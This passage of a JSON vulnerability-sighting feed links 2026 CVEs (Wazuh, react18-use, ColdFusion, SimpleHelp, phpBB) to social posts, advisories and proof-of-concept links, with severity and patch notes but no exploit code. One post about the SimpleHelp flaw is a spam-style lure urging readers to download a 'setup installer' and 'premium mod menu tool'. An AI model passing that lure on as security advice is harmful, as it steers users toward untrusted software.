"2026-08-06T16:16:14.968707Z"}, {"uuid": "bc55c4e0-6c65-47b9-b611-202509236b0f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48162", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mthplgp7lj2e", "content": "CVE-2026-48162 - wazuh\nWazuh Manager versions 4.0.0 to 4.14.6 and 5.0.0-beta3 allow an unauthorized peer to access sensitive configuration files. This could allow a malicious peer to gain administrative privileges.\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#wazuh #CVE #infosec", "creation_timestamp": "2026-08-19T21:50:05.131531Z"}, {"uuid": "cb48a891-a682-41b9-9b03-62e237fc3363", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48024", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mthpli2ame2m", "content": "CVE-2026-48024 - wazuh\nWazuh, a threat detection platform, has a security issue in its cluster feature. A malicious user can write unauthorized files in the Wazuh manager, potentially allowing code execution. This\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#wazuh #CVE #infosec", "creation_timestamp": "2026-08-19T21:50:06.160816Z"}, {"uuid": "b605681f-fecb-4948-81ab-c43d9ee4dd1c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48161", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3msran7w43c2v", "content": "CVE-2026-48161 - react18-use\nA malicious code was introduced into a React 19 use hook shim through compromised commits, which could execute on developer machines during npm install. If you used this\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#react18use #daishi #CVE #infosec", "creation_timestamp": "2026-08-10T23:24:04.589168Z"}, {"uuid": "d5fd934f-ca4d-46c7-8c05-56dd26bd4fe0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-4878", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/redhat-linux-kernel-multiple-vulnerabilities_20260702", "content": "", "creation_timestamp": "2026-07-02T06:56:42.006018Z"}, {"uuid": "733547de-3fda-40a6-8908-bc3c1b80f3ef", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-48161", "type": "seen", "source": "https://infosec.exchange/users/offseq/statuses/117073932098519347", "content": "CVE-2026-48161 | CRITICAL: dai-shi react18-use had malicious postinstall script \u2014 RCE on dev machines via npm install. Not in npm registry, but local checkouts may be compromised. Rotate creds & reimage if affected. https://radar.offseq.com/threat/cve-2026-48161-cwe-506-embedded-malicious-code-in-dai-shi-react18-use-f46bf3ec395447fd #OffSeq #SupplyChain #CVE #npm #infosec", "creation_timestamp": "2026-08-11T00:00:35.323226Z"}, {"uuid": "b1a25bcc-e179-460e-919a-fdd3e00f62fd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-48161", "type": "seen", "source": "https://bsky.app/profile/offseq.bsky.social/post/3msrcokqke32k", "content": "CVE-2026-48161: CRITICAL RCE risk in dai-shi react18-use \u2014 malicious postinstall code executed on dev machines (not npm). Rotate creds, reimage if affected. More: https://radar.offseq.com/threat/cve-2026-48161-cwe-506-embedded-malicious-code-in-dai-shi-react18-use-f46bf3ec395447fd #OffSeq #Supply...", "creation_timestamp": "2026-08-11T00:00:37.206351Z"}, {"uuid": "67d23dd7-6942-4dfb-b8c7-a4ea0a7ddb4f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48161", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/652hxasqzqctu", "content": "CVE-2026-48161 - react18-use was vulnerable to malicious code execution via compromised commits\nCVE ID : CVE-2026-48161\n \n Published : Aug. 10, 2026, 11:16 p.m. | 43\u00a0minutes ago\n \n Description : react18-use is a React 19 use hook shim. Between 2026-05-19 01:07:01 and 2026-05-1...", "creation_timestamp": "2026-08-11T00:39:10.046030Z"}, {"uuid": "c0033fdf-4454-4bde-8108-2fbf7a50c00b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48390", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3msgoqfwnpd2y", "content": "\ud83d\udccc CVE-2026-48390 - Bridge is affected by an Incorrect Authorization vulnerability that could result in privilege escalation. An attacker could leverage this vulnerabilit... https://www.cyberhub.blog/cves/CVE-2026-48390", "creation_timestamp": "2026-08-06T18:37:07.041409Z"}, {"uuid": "a28971e3-366e-44d0-95c8-eb51b08e07be", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48282", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-08-12)", "content": "", "creation_timestamp": "2026-08-13T10:15:15.918234Z"}, {"uuid": "bcff94a9-c237-4160-80d2-e447f738c7e0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48362", "type": "seen", "source": "https://t.me/CyberDispatch/2538", "content": "Adobe on Tuesday rolled out patches for over 50 vulnerabilities across its products, including critical-severity bugs in ColdFusion, Campaign Classic, and Commerce.\n\nWith a priority 1 rating, the ColdFusion update fixes 15 security defects, including three flagged as critical that could lead to arbitrary code execution and application denial-of-service (DoS).\n\nThese include an OS command injection tracked as CVE-2026-48362 (CVSS score of 10/10), an eval injection tracked as CVE-2026-48273 (CVSS score of 9.9/10), and an incorrect authorization tracked as CVE-2026-71384 (CVSS score of 9.6/10).", "creation_timestamp": "2026-08-29T20:00:05.614630Z"}, {"uuid": "4f07483a-aa75-4ba8-85dd-041779bfa8c7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-4878", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mpnpkug7wr2y", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-4878 \u0432 libcap: \u0443\u0433\u0440\u043e\u0437\u0430 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u044b \u0437\u0430\u0449\u0438\u0442\u044b\n\n\n\nhttps://kripta.biz/posts/94DDFEA8-8A81-41CC-B46F-E86CB355CDC7", "creation_timestamp": "2026-07-02T09:24:57.595061Z"}, {"uuid": "e039276c-f82e-4804-b8bb-1aa9c6670aaf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-48558", "type": "seen", "source": "https://infosec.exchange/users/shadowserver/statuses/116849683894838179", "content": "SimpleHelp CVE-2026-48558 is now confirmed exploited-in-the-wild and on US CISA KEV https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-48558\nWe are scanning for SimpleHelp CVE-2026-48558 vulnerable instances since 2026-06-16. We see 439 unpatched in our 2026-07-01 scan. Most (268) found in the US.\nRaw IP data in https://www.shadowserver.org/what-we-do/network-reporting/vulnerable-http-report/ for your network/constitiuency\nDashboard World Map view:  https://dashboard.shadowserver.org/statistics/combined/map/?date_range=1&map_type=std&source=http_vulnerable&source=http_vulnerable6&tag=cve-2026-48558%2B&data_set=count&scale=log&auto_update=on\nWe also recently collaborated with Validin for additional domain based detections, thank you!\nPatch info: https://simple-help.com/security/simplehelp-security-update-2026-05", "creation_timestamp": "2026-07-02T09:31:19.901994Z"}, {"uuid": "1d231460-8bcb-4467-9d7a-0c0f5d55481c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48558", "type": "seen", "source": "https://bsky.app/profile/shadowserver.bsky.social/post/3mpnq36omic2t", "content": "SimpleHelp CVE-2026-48558 is now confirmed exploited-in-the-wild & on US CISA KEV \nwww.cisa.gov/known-exploi...\n\nWe are scanning for CVE-2026-48558 vulnerable instances since 2026-06-16. We see 439 unpatched (2026-07-01 scan)\n\nDashboard World Map view:  dashboard.shadowserver.org/statistics/c...", "creation_timestamp": "2026-07-02T09:34:10.339162Z"}, {"uuid": "8217f8ef-1bb9-4adc-a1f9-2dd02c13c37d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48558", "type": "seen", "source": "https://bsky.app/profile/shadowserver.bsky.social/post/3mpnq3cfdcs2t", "content": "SimpleHelp CVE-2026-48558 is now confirmed exploited-in-the-wild & on US CISA KEV \nwww.cisa.gov/known-exploi...\n\nWe are scanning for CVE-2026-48558 vulnerable instances since 2026-06-16. We see 439 unpatched (2026-07-01 scan)\n\nDashboard World Map view:  dashboard.shadowserver.org/statistics/c...", "creation_timestamp": "2026-07-02T09:34:10.791888Z"}, {"uuid": "7854b8cd-932b-4aad-8ed8-d6a5ce39e3ac", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48558", "type": "seen", "source": "https://bsky.app/profile/AfaluNulax.m.pupu.moe.ap.brid.gy/post/3mpnqch663x72", "content": "CISA adds critical SimpleHelp auth bypass to KEV CISA has added CVE-2026-48558 to the Known Exploited Vulnerabilities catalog. The flaw affects SimpleHelp 5.5.15 and earlier plus 6.0 pre-release builds, and allows remote unauthenticated attackers to forge OIDC [\u2026] \n\n[Original post on pupu.moe]", "creation_timestamp": "2026-07-02T09:38:15.215895Z"}, {"uuid": "22ea71bc-f0a4-44da-96fc-bd43ec719231", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-48558", "type": "seen", "source": "https://bsky.app/profile/yazoul-alerts.bsky.social/post/3mpns6rekgd2k", "content": "\u26a0\ufe0f Two new malware families. One patched vulnerability. Zero attribution.\n\nCVE-2026-48558 in SimpleHelp.\nCVSS 10.0.\n\nhttps://www.yazoul.net/news/article/attackers-exploit-simplehelp-cve-2026-48558-to-deploy-taskweaver-and-djinn-steal/\n\n#InfoSec #DataBreach", "creation_timestamp": "2026-07-02T10:11:53.560337Z"}, {"uuid": "ca706ca1-e150-4893-9e06-a97dbfc5a05b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48558", "type": "seen", "source": "https://bsky.app/profile/diesec.bsky.social/post/3mpnuuvsmrt2w", "content": "SimpleHelp CVE-2026-48558 (CVSS 10.0): forged OIDC token = full Technician session, no password needed. CISA KEV June 29. Attackers deploy TaskWeaver + Djinn Stealer via MSP access to hit customers. Patch to 5.5.16/6.0 RC2 now.\n \nzurl.co/OEhoY \n\n#CyberSecurity", "creation_timestamp": "2026-07-02T11:00:04.070313Z"}, {"uuid": "66e85215-963d-467a-b971-5d71b3f5a0fe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-48558", "type": "seen", "source": "https://www.cert.dk/news/2026-07-02/Saarbarhederne-vaelter-ind-juni-saetter-tempoet-op-i-trusselslandskabet", "content": "", "creation_timestamp": "2026-07-02T13:45:07.455381Z"}, {"uuid": "9ea3d3f3-d254-4e6a-aa47-7a6def86dc52", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48282", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/639792fc-c342-4515-bc82-651d788d0487", "content": "", "creation_timestamp": "2026-07-02T19:00:19.548663Z"}, {"uuid": "2ab7544f-6d37-41c8-8f75-0416c8596c67", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-48282", "type": "seen", "source": "https://cyber.gc.ca/en/alerts-advisories/adobe-security-advisory-av26-647", "content": "", "creation_timestamp": "2026-07-02T21:15:16.124172Z"}, {"uuid": "8f6781d6-112a-4b9a-8070-54c83aede209", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48282", "type": "seen", "source": "https://bsky.app/profile/cyfar.ca/post/3mpotfgidrq26", "content": "~Watchtowr~\nAdobe ColdFusion APSB26-68 patches 11 CVEs including multiple RCE and arbitrary file read/write via RDS and CKEditor path traversal.\n-\nIOCs: CVE-2026-48282, CVE-2026-48276, CVE-2026-48313\n-\n#CVE #ColdFusion #RCE #ThreatIntel", "creation_timestamp": "2026-07-02T20:06:10.646649Z"}, {"uuid": "e29fc72f-cb9f-4edf-bc0f-6f895e02cb19", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48276", "type": "seen", "source": "https://bsky.app/profile/cyfar.ca/post/3mpotfgidrq26", "content": "~Watchtowr~\nAdobe ColdFusion APSB26-68 patches 11 CVEs including multiple RCE and arbitrary file read/write via RDS and CKEditor path traversal.\n-\nIOCs: CVE-2026-48282, CVE-2026-48276, CVE-2026-48313\n-\n#CVE #ColdFusion #RCE #ThreatIntel", "creation_timestamp": "2026-07-02T20:06:10.695809Z"}, {"uuid": "c70356b4-0967-4425-bfeb-c2b564382dae", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48313", "type": "seen", "source": "https://bsky.app/profile/cyfar.ca/post/3mpotfgidrq26", "content": "~Watchtowr~\nAdobe ColdFusion APSB26-68 patches 11 CVEs including multiple RCE and arbitrary file read/write via RDS and CKEditor path traversal.\n-\nIOCs: CVE-2026-48282, CVE-2026-48276, CVE-2026-48313\n-\n#CVE #ColdFusion #RCE #ThreatIntel", "creation_timestamp": "2026-07-02T20:06:10.741935Z"}, {"uuid": "084ca31f-f717-4f86-9369-2ac8823f8d7d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48158", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3msro5xarkn2n", "content": "CVE-2026-48158 - use-context-selector\nA malicious commit was added to a React hook called useContextSelector. This commit executed attacker-controlled code on developer machines when they ran 'npm install'. The good\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#daishi #CVE #infosec", "creation_timestamp": "2026-08-11T03:26:04.916658Z"}, {"uuid": "2b9f29ce-e694-4e3c-99d6-e49aec14e252", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48558", "type": "seen", "source": "https://bsky.app/profile/lasenal.bsky.social/post/3mppdv3irnl2n", "content": "Explotan una falla m\u00e1xima en SimpleHelp para colar malware.\n\nCVE-2026-48558 (severidad 10) deja falsificar sesiones de t\u00e9cnico en SimpleHelp, software de soporte remoto, y se usa para colar malware. Hay parche: urge actualizar.\n\nLeer en SimpleHelp\n\n#LaSe\u00f1alNews #Ciberseguridad #InfoSec", "creation_timestamp": "2026-07-03T01:01:16.105540Z"}, {"uuid": "b2af75be-7bee-4ddc-aada-4b258ec4f3fa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-48611", "type": "published-proof-of-concept", "source": "https://www.aikido.dev/blog/authentication-bypass-phpbb-technical-writeup", "content": "", "creation_timestamp": "2026-07-03T04:00:54.957519Z"}, {"uuid": "d3316c52-a0d0-4e13-9421-d79cfdb21a70", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-48277", "type": "published-proof-of-concept", "source": "https://labs.watchtowr.com/its-37oc-and-all-we-can-think-about-is-coldfusion-adobe-coldfusion-security-bulletin-apsb26-68-cve-bonanza", "content": "", "creation_timestamp": "2026-07-03T04:00:59.390620Z"}, {"uuid": "1eb8af53-75dd-4a80-96b3-7d7dc2ed178c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-48282", "type": "published-proof-of-concept", "source": "https://labs.watchtowr.com/its-37oc-and-all-we-can-think-about-is-coldfusion-adobe-coldfusion-security-bulletin-apsb26-68-cve-bonanza", "content": "", "creation_timestamp": "2026-07-03T04:01:01.546427Z"}, {"uuid": "f3c02861-2e04-4412-b14c-5a1a62127158", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-48313", "type": "published-proof-of-concept", "source": "https://labs.watchtowr.com/its-37oc-and-all-we-can-think-about-is-coldfusion-adobe-coldfusion-security-bulletin-apsb26-68-cve-bonanza", "content": "", "creation_timestamp": "2026-07-03T04:01:03.897917Z"}, {"uuid": "5355c27f-ad81-4370-b202-0465f06ae31b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-48316", "type": "published-proof-of-concept", "source": "https://labs.watchtowr.com/its-37oc-and-all-we-can-think-about-is-coldfusion-adobe-coldfusion-security-bulletin-apsb26-68-cve-bonanza", "content": "", "creation_timestamp": "2026-07-03T04:01:06.053131Z"}, {"uuid": "fcc094f3-834f-4343-b880-cd827d7c77b8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48282", "type": "seen", "source": "https://bsky.app/profile/securityonline.bsky.social/post/3mppogatfa42t", "content": "A critical CVSS 10 ColdFusion arbitrary code execution flaw (CVE-2026-48282) is actively exploited in the wild. Update immediately to prevent attacks.\n\n#ColdFusion #CVE202648282 #CyberSecurity #Vulnerability #Infosec", "creation_timestamp": "2026-07-03T04:09:48.965558Z"}, {"uuid": "ed707c87-70b7-4875-9f0d-b82e55ad4f52", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48192", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mpqc5saxiw2u", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-48192 \u0432 Mendix Studio Pro 10.11: \u0443\u0433\u0440\u043e\u0437\u044b \u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u044b \u0437\u0430\u0449\u0438\u0442\u044b\n\n\n\nhttps://kripta.biz/posts/B3980E54-2DF7-4BD6-B5E0-FDFEDE9F8D7B", "creation_timestamp": "2026-07-03T10:02:59.780890Z"}, {"uuid": "30bbf9d2-920a-4dbd-9e1b-ab41675dd2cb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-48558", "type": "seen", "source": "https://bsky.app/profile/yazoul-alerts.bsky.social/post/3mpqcf4cf3e27", "content": "A CVSS 10.0 bug is being exploited in the wild right now.\n\nSimpleHelp RCE.\n\nhttps://www.yazoul.net/news/article/attackers-exploit-simplehelp-cve-2026-48558-to-deploy-taskweaver-and-djinn-steal/\n\n#CyberSecurity #Security", "creation_timestamp": "2026-07-03T10:07:04.894653Z"}, {"uuid": "e29702fc-d54b-49ff-9075-4c139d4e7cdc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48362", "type": "seen", "source": "https://bsky.app/profile/cvemon.bsky.social/post/3msxgtrqfkz2d", "content": "CVE-2026-48362 is trending. Hype score 3, currently #10 on cvemon.\n\nColdFusion is affected by an Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') vulnerability that could result in arbitrary code execution in\u2026\n\nhttps://cvemon.intruder.io/cves/CVE-2026-48362", "creation_timestamp": "2026-08-13T10:31:05.329735Z"}, {"uuid": "796154de-8e2c-4413-846d-5688eed2e22e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-4804", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mpqdpnlyva2w", "content": "CVE-2026-4804 - Zakra\nCVE ID : CVE-2026-4804\n \n Published : July 3, 2026, 7:53 a.m. | 1\u00a0hour, 54\u00a0minutes ago\n \n Description : The Zakra theme for WordPress is vulnerable to Stored Cross-Site Scripting via post meta values in all versions up to, and including, 4.2.0. This is du...", "creation_timestamp": "2026-07-03T10:30:52.476025Z"}, {"uuid": "7965e478-1676-4c09-aa3c-a43fbf4f6c40", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48027", "type": "seen", "source": "MISP/edb50c22-0e22-48ba-b4c7-15871e48b7fb", "content": "", "creation_timestamp": "2026-07-03T15:15:02.820566Z"}, {"uuid": "f1c82712-11b6-4bdc-849c-a2c496c90a5d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-4804", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mprnjmuj732d", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-4804 \u0432 \u0442\u0435\u043c\u0435 Zakra \u0434\u043b\u044f WordPress: \u0443\u0433\u0440\u043e\u0437\u0430 Stored XSS \u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u044b \u0437\u0430\u0449\u0438\u0442\u044b\n\n\n\nhttps://kripta.biz/posts/E2EEE9DE-1C44-45CD-B9B3-FF214020F125", "creation_timestamp": "2026-07-03T22:59:07.479450Z"}, {"uuid": "022a5f51-ac72-4b71-b0ac-d4afb4486002", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48027", "type": "seen", "source": "MISP/edb50c22-0e22-48ba-b4c7-15871e48b7fb", "content": "", "creation_timestamp": "2026-07-04T00:15:02.314509Z"}, {"uuid": "a9ddd751-dafa-4f39-ad18-e6143cb48d9d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48558", "type": "seen", "source": "https://bsky.app/profile/eurotrends24.bsky.social/post/3mpsd2qqq3x2z", "content": "EXCLUSIVE LEAK! \ud83d\udea8 Watch how hackers exploit SimpleHelp's CVE-2026-48558 to deploy TaskWeaver and Djinn Stealer. Download the setup installer and activate the premium mod menu tool \u2b07\ufe0f\u2699\ufe0f to stay safe! #USMNT", "creation_timestamp": "2026-07-04T05:24:30.821531Z"}, {"uuid": "3e5c0599-d229-4f30-aeae-2e73519dada3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-48931", "type": "seen", "source": "https://bsky.app/profile/tech-trending.bsky.social/post/3mpsjwo7hac2k", "content": "CVE-2026-48931 Shouldn't Have Been a CVE \nhttps://adventures.nodeland.dev/archive/cve-2026-48931-shouldnt-have-been-a-cve/", "creation_timestamp": "2026-07-04T07:27:31.104725Z"}, {"uuid": "ea39e69d-34e1-4525-9d9b-6422e73fb809", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-48558", "type": "seen", "source": "https://bsky.app/profile/yazoul-alerts.bsky.social/post/3mpsqigcwh72j", "content": "Two new malware families delivered through a single vulnerability.\n\nCVE-2026-48558.\n\nhttps://www.yazoul.net/news/article/attackers-exploit-simplehelp-cve-2026-48558-to-deploy-taskweaver-and-djinn-steal/\n\n#CVE #CyberSecurity", "creation_timestamp": "2026-07-04T09:24:48.242999Z"}, {"uuid": "8a20348a-ba0c-4101-ac56-1389b9d5abb4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48611", "type": "seen", "source": "https://bsky.app/profile/pentest-tools.com/post/3mpsqqmdovk2k", "content": "\ud83d\udc49 PTT-2026-004 (CVE-2026-48611, 9.4): the PoC shows the full path from a single crafted request to a valid admin session. No credentials that work, no prior access, no user interaction. Just the request and the session cookie that _shouldn't_ exist.\n\nAND", "creation_timestamp": "2026-07-04T09:29:28.358277Z"}, {"uuid": "22ea5dd0-eceb-497e-bfb1-d06a70566caa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48612", "type": "seen", "source": "https://bsky.app/profile/pentest-tools.com/post/3mpsqqmdovk2k", "content": "\ud83d\udc49 PTT-2026-005 (CVE-2026-48612, 8.3): the PoC walks through the silent OAuth account takeover, including the case where the victim only has to load a forum post for the chain to fire.\n\npentest-tools.com/research/php...", "creation_timestamp": "2026-07-04T09:29:28.792217Z"}, {"uuid": "058122fe-b188-49bb-bda8-a9844b365d0e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48611", "type": "seen", "source": "https://bsky.app/profile/pentest-tools.com/post/3mpsqqogfo22k", "content": "\ud83d\udc49 PTT-2026-004 (CVE-2026-48611, 9.4): the PoC shows the full path from a single crafted request to a valid admin session. No credentials that work, no prior access, no user interaction. Just the request and the session cookie that _shouldn't_ exist.\n\nAND", "creation_timestamp": "2026-07-04T09:29:29.216939Z"}, {"uuid": "78541b82-b6e5-4d2a-b8b2-02f924c7154a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48612", "type": "seen", "source": "https://bsky.app/profile/pentest-tools.com/post/3mpsqqogfo22k", "content": "\ud83d\udc49 PTT-2026-005 (CVE-2026-48612, 8.3): the PoC walks through the silent OAuth account takeover, including the case where the victim only has to load a forum post for the chain to fire.\n\npentest-tools.com/research/php...", "creation_timestamp": "2026-07-04T09:29:29.641412Z"}, {"uuid": "195ee082-8598-46f1-948a-8df61571c3dc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48611", "type": "seen", "source": "https://bsky.app/profile/pentest-tools.com/post/3mpsqqpiqcc2k", "content": "\ud83d\udc49 PTT-2026-004 (CVE-2026-48611, 9.4): the PoC shows the full path from a single crafted request to a valid admin session. No credentials that work, no prior access, no user interaction. Just the request and the session cookie that _shouldn't_ exist.\n\nAND", "creation_timestamp": "2026-07-04T09:29:30.084249Z"}, {"uuid": "7319d9bc-6449-4159-b52e-056794429778", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48612", "type": "seen", "source": "https://bsky.app/profile/pentest-tools.com/post/3mpsqqpiqcc2k", "content": "\ud83d\udc49 PTT-2026-005 (CVE-2026-48612, 8.3): the PoC walks through the silent OAuth account takeover, including the case where the victim only has to load a forum post for the chain to fire.\n\npentest-tools.com/research/php...", "creation_timestamp": "2026-07-04T09:29:30.522452Z"}, {"uuid": "e75f7092-937d-4102-a1f5-1e5e905f213e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": 